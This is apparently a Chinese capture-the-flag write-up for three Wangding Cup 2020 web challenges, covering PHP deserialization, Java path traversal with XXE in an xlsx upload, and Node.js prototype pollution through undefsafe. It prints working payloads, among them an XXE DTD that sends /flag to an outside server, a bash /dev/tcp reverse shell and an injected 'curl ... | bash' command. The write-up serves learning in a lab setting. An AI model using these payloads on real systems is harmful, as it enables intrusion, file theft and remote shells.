[网鼎杯 2020 青龙组]前言
第一次网鼎杯,
就……哎,一言难尽。加油吧。
AreUSerialz
大佬萌说是php7.x的检测问题直接把protected改成public就行
O:11:"FileHandler":4:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";}
fileJava
经过简单测试发现就是Servlet+Jsp的集合
payload1:
http://dede6dc721724e09803ef969e7fde1f73ec217cbe7b9401c.cloudgame2.ichunqiu.com:8080/file_in_java/DownloadServlet?filename=../../../web.xml
web.xml(配置文件,基本上不知道目录结构的话看这个就够了)
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<display-name>file_in_java</display-name>
<welcome-file-list>
<welcome-file>upload.jsp</welcome-file>
</welcome-file-list>
<servlet>
<description></description>
<display-name>UploadServlet</display-name>
<servlet-name>UploadServlet</servlet-name>
<servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>UploadServlet</servlet-name>
<url-pattern>/UploadServlet</url-pattern>
</servlet-mapping>
<servlet>
<description></description>
<display-name>ListFileServlet</display-name>
<servlet-name>ListFileServlet</servlet-name>
<servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ListFileServlet</servlet-name>
<url-pattern>/ListFileServlet</url-pattern>
</servlet-mapping>
<servlet>
<description></description>
<display-name>DownloadServlet</display-name>
<servlet-name>DownloadServlet</servlet-name>
<servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadServlet</servlet-name>
<url-pattern>/DownloadServlet</url-pattern>
</servlet-mapping>
</web-app>
其中的displayname也印证了显示的file_in_java为什么有upload.jsp。
welcome-file-list是默认的首页显示upload.jsp
<display-name>file_in_java</display-name>
<welcome-file-list>
<welcome-file>upload.jsp</welcome-file>
</welcome-file-list>
再往下的
cn.abc.servlet.xxxxxxx都是包名顺着目录去找xxxxx.class(字节码)文件
下载各类java文件。
整个filejava的详细的源码放在链接里
https://www.cnblogs.com/h3zh1/p/12868122.html
/DownloadServlet
?filename=../../../classes/cn/abc/servlet/UploadServlet.class
?filename=../../../classes/cn/abc/servlet/ListFileServlet.class
?filename=../../../classes/cn/abc/servlet/UploadServlet.class
?filename=../../../../upload.jsp
?filename=../../../../META-INF/MANIFEST.MF
把所有的文件都下载下来了几乎,好像还有个list.jsp、message.jsp。都在源码的请求转发处体现了。
找点
菜鸡的我没明白具体的getshell或者文件读取的方法(提一句),才把所有的都下载下来。
后来其他人说应该是xxe啥的,具体触发代码,在下方写出来。
xlsx文件也可xxe,新技能新姿势! (xxe白痴,xml不是我的强项,比赛时候就8会写了,昨个赛后研究了一下 )。
看了很多文章,比如:https://xz.aliyun.com/t/3357,看太多了篇了。
再往后就是复现时总是带不出内容,然后开始不停的问大师傅,终于明白了。
(mm狮虎萌)
filename.startsWith("excel-") && "xlsx".equals(fileExtName)
if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
try {
Workbook wb1 = WorkbookFactory.create(in);
Sheet sheet = wb1.getSheetAt(0);
System.out.println(sheet.getFirstRowNum());
} catch (InvalidFormatException e) {
System.err.println("poi-ooxml-3.10 has something wrong");
e.printStackTrace();
}
}
构造xxe
新建xlsx文件,改后缀名为zip,解压修改[Content_Types].xml的内容。
[Content_Types].xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://174.1.57.28/file.dtd">
%remote;%int;%send;
]>
保存后把文件夹压缩回.zip,然后改回后缀为.xlsx。
在自己服务器的网站根目录新建一个,因为我是buu复现的,所以开buu的靶机即可,
apache服务默认开启的。
file.dtd文件
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM \'http://174.1.57.28:2333?h3zh1=%file;\'>">
开启监听
nc -lvvp 2333
上传excel-***.xlsx文件
一定要用excel-开头。有代码检测了。
上面提到过。
filename.startsWith("excel-") && "xlsx".equals(fileExtName)
成功带入flag内容
[notes]
好像不大会,晚些复现……
好了,开始。
这是我接触的第一道nodejs题( js 白痴 )。
不过看着还可以,不那么难受,污染原理卡了我一天。
在最后分析的时候出现了一个不明白的点,于是实际操作了一下,nodejs安装参考:
源码
var express = require(\'express\');
var path = require(\'path\');
const undefsafe = require(\'undefsafe\');
const { exec } = require(\'child_process\');
var app = express();
class Notes {
constructor() { // 好像是构造函数
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}
// 以下是定义的各种成员方法
write_note(author, raw_note) { //成员方法
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}
get_note(id) { //成员方法
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}
edit_note(id, author, raw) { //成员方法 感觉是这了
undefsafe(this.note_list, id + \'.author\', author);
undefsafe(this.note_list, id + \'.raw_note\', raw);
}
get_all_notes() { //成员方法
return this.note_list;
}
remove_note(id) {
delete this.note_list[id];
}
}
var notes = new Notes();
notes.write_note("nobody", "this is nobody\'s first note");
app.set(\'views\', path.join(__dirname, \'views\'));
app.set(\'view engine\', \'pug\');
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, \'public\')));
app.get(\'/\', function(req, res, next) {
res.render(\'index\', { title: \'Notebook\' });
});
app.route(\'/add_note\')
.get(function(req, res) {
res.render(\'mess\', {message: \'please use POST to add a note\'});
})
.post(function(req, res) {
let author = req.body.author;
let raw = req.body.raw;
if (author && raw) {
notes.write_note(author, raw);
res.render(\'mess\', {message: "add note sucess"});
} else {
res.render(\'mess\', {message: "did not add note"});
}
})
app.route(\'/edit_note\')
.get(function(req, res) {
res.render(\'mess\', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render(\'mess\', {message: "edit note sucess"});
} else {
res.render(\'mess\', {message: "edit note failed"});
}
})
app.route(\'/delete_note\')
.get(function(req, res) {
res.render(\'mess\', {message: "please use POST to delete a note"});
})
.post(function(req, res) {
let id = req.body.id;
if (id) {
notes.remove_note(id);
res.render(\'mess\', {message: "delete done"});
} else {
res.render(\'mess\', {message: "delete failed"});
}
})
app.route(\'/notes\')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.render(\'note\', {list: a_note});
})
app.route(\'/status\')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:\'/bin/bash\'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send(\'OK\');
res.end();
})
app.use(function(req, res, next) {
res.status(404).send(\'Sorry cant find that!\');
});
app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send(\'Something broke!\');
});
const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))
分析
第一段,参考http://nodejs.cn/api/modules/require.html。
var express = require(\'express\');
var path = require(\'path\');
const undefsafe = require(\'undefsafe\');
const { exec } = require(\'child_process\');
这里大致是引入了一些模块,和文件什么的。
下面这一段大体是定义了一个Notes类。
class Notes {
constructor() { // 好像是构造函数
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}
// 以下是定义的各种成员方法
write_note(author, raw_note) { //成员方法
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}
get_note(id) { //成员方法
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}
edit_note(id, author, raw) { //成员方法 感觉是这了
undefsafe(this.note_list, id + \'.author\', author);
undefsafe(this.note_list, id + \'.raw_note\', raw);
}
get_all_notes() { //成员方法
return this.note_list;
}
remove_note(id) {
delete this.note_list[id];
}
}
触发代码段
这里其实应该是快速扫描,审计代码的时候先扫到得关键信息,因为我萌就是为了getshell 或者 read文件或者 bypass等等。
要先找让我们能眼前一亮得代码段,还有可以进行传参的代码段。
第一点发现,status路由触发了/bin/bash我们可以考虑从这入手。
app.route(\'/status\')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:\'/bin/bash\'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send(\'OK\');
res.end();
})
我们可以发现commands是以字典方式存的,这里我萌只发现了uptime和free -m这两条shell指令。
所以还是有点摸不到头脑。这时候就需要多看看别的了,但是实际能发现的其他东西很少。
裂开了
后面的话基本就是看大佬的wp了。
get_note和edit_note涉及到一个undefsafe 。
看大佬的博客和参考链接得到的信息,英文也没关系,我是google翻译的。
部分翻译结果截图如下。
好!
大概明确了,undefsafe是不安全的,有两种污染方式。本题应该是属于第二种,按路径定义属性。
摘要
按路径定义属性
有一些javascript库使用API根据给定的路径在对象上定义属性值。通常受影响的函数包含以下签名:
theFunction(object, path, value)
如果攻击者可以控制“路径”的值,则可以将此值设置为
_proto_.myValue
。myValue
然后将其分配给对象类的原型。
可能现在会有点小小的疑惑。
__ proto __这个东西
不清楚得话多找几个解析叭。
注入点(污染点)
可以在id处用__ proto __
进行拼接,造成污染
edit_note(id, author, raw) { //成员方法 感觉是这了
undefsafe(this.note_list, id + \'.author\', author);
undefsafe(this.note_list, id + \'.raw_note\', raw);
}
比如id =\'_proto_\'+\'.author\'
那么的note_list就被成功污染。
污染原理,参考链接中的图片叭:https://blog.csdn.net/qq_41107295/article/details/95789944。
大概分析到这得时候……又卡了…………真的菜………………怎么触发得command字典啊………………
安装nodejs之后,简单测试了几个代码,大致有了一点理解,但是还是没懂。
一天之后……zz
找到了写了题解得w4nder狮虎问了一下,被惊醒了一样。
可以参考下图。
第一张
第二张
污染原因:同种数据结构!
我一直在疑惑commands和note_list之间为什么会造成污染,形成联系。
问了狮虎幡然醒悟:同一种数据结构就是一个类啊!这么简单的理解,我竟然卡了这么久(wtcl)。
复现得狮虎得代码。
a = {"a":1,"b":2}
b = {}
b.__proto__.c=333
for (let i in a){ console.log(i)}
构造
因为被污染之后程序便会崩,而且注入错误的时候也会出现一些奇怪的东西,所以我们只要弹shell即可。
buu监听靶机,写shell.txt
bash -i >& /dev/tcp/174.1.75.118/2333 0>&1
edit_note路由处post
id=__proto__&author=curl http://174.1.75.118/shell.txt|bash&raw=hello
提示:post完之后出现something broke是正常的,我当时重复了仨小时,以为自己做错了。
监听
nc -lvvp 2333
访问status路由触发,反弹shell
参考链接:
https://www.jianshu.com/p/3d756c5bba16
https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940